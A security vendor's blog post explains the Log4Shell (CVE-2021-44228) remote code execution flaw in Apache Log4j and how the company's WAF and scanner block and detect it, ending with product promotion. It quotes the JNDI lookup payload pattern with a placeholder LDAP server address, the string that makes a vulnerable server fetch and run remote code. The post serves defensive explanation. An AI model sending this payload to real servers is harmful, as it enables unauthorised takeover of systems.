Real-Time Protection of Log4j with AppTrana – Through its Risk-Based Approach

With the discovery of Log4j vulnerability on December 9^th (Also known as Log4shell), the cybersecurity world has gone on a tailspin. It is one of the most potent vulnerabilities identified in recent times. It is estimated that millions of systems were left exposed, resulting in large attempts by hackers to exploit the vulnerability. It is estimated more than a million attacks have been launched since the vulnerability was identified.

What is Log4j and Why is This Vulnerability So Potent?

Log4j is code written in Java programming language within Apache software foundation by volunteers. This free code creates a built-in log that developers can use to debug. It’s a utility and since it is free, is used by most web services built on Java for debugging purpose.

CVE-2021-44228 is a remote code execution (RCE) vulnerability in Apache Log4j 2.0 through 2.14.1. An attacker can exploit this vulnerability by sending a crafted request to the vulnerable server. This can be done by submitting an exploit string on the text field found in the website running on the vulnerable server or by including the exploit string as part of the header destined to the vulnerable server.

If the server then is vulnerable to log4j, the exploit will request malicious code from the vulnerable server to a hacker-controlled server through Java naming and directory interface (JNDI) over a variety of services like LDAP.

On successful exploitation, malicious code will be downloaded on the vulnerable server and exploited, resulting in successful remote code execution.

This vulnerability can be executed by an unauthenticated user and depending on the nature of the malicious code downloaded, it can result in a hacker getting the complete control of the server.

How Did Indusface React?

Our security research team was immediately alerted about the vulnerability and they started researching about the available POC’s and how the vulnerability is being exploited in wild. By Dec 10^th, we knew that it is one of the most potent vulnerabilities and something that can be exploited easily. Given the nature of this vulnerability, we immediately worked towards protecting all our customers by updating the core-protection of our AppTrana by Dec 11^th to protect against the attacks caused by these vulnerabilities.

Since then, we have blocked thousands of requests that are trying to exploit this vulnerability across all the sites. Attacks are dispersed all over the world with major attacks seen from the United States.

In total, we have seen about 1020 unique attacks on Log4jShell in the last 1 week.

Though we ensured that our AppTrana customers were immediately protected, we knew our customers would like to know if their servers are still vulnerable. So, our team was then tasked to ensure our DAST scanner could identify the vulnerability. Since it is an out-of-band vulnerability, i.e., the scanner will inject the attack vector, but it may not be called immediately and maybe called the next time Log4j is used by your application, it is not a straightforward approach to identify this vulnerability accurately. But our team worked overtime and deployed a plugin to detect this vulnerability by  Dec 17^th.

Further Details on Log4j Detection:

The vulnerability, as mentioned earlier results from how the log messages are handled by the log4j processor. When an attacker passes a crafted message like ${jndi:ldap://<serveraddress>/a will result in a call to the remote LDAP server which can respond with a malicious code that can be executed in your server leading to successful remote code execution.

Source:  Swiss Government Computer Emergency Response Team

For detecting if the application is vulnerable, the scanner sends a crafted message to the application and if the application is vulnerable, the JNDI call will be made, which is then tracked and logged. If the call is made, we know the application is vulnerable, our intent is to identify this vulnerability, so, we do not respond back with a code and perform a successful RCE, but we report that your server is vulnerable to an RCE exploit.

Given that we provide an authenticated DAST scanner, we are able to find this vulnerability even if the area of exploit is behind a login page, which generally would not be found by a generic scanner doing black box scanning.

Risk-Based Approach

Since the release of the plugin, we have found that many of the sites behind AppTrana were vulnerable. Given the nature of the vulnerability, our managed services team reached out to the customer to inform the criticality of the vulnerability and the need to patch these vulnerabilities immediately. This way, though the application is protected through AppTrana, we ensured the customers know that their server is vulnerable, and they must take the mitigation steps to ensure they aren’t exposed accidentally in future

What About the Other Vulnerabilities on Log4j: 

Since the initial update on Dec 9^th, multiple other vulnerabilities were reported on Log4j.

Here is the summary of where we stand,

Though other vulnerabilities are a concern, they are not widely exploitable. Our team is constantly working on updating the coverage for the same and we will keep this blog updated. So, stay tuned for more updates.

What Can You Do ?

If you are not sure that your application is vulnerable, please sign-up for Indusface WAS. Given the nature of this vulnerability, we have incorporated the detection for Log4jShell vulnerability in our basic plan which is free for life.

If you have challenges patching your server, we recommend you check out Indusface’s AppTrana which already has the protection for it, and you can start with an immediate free trial.

Found this article interesting? Follow Indusface on Facebook, Twitter, and LinkedIn to read more exclusive content we post.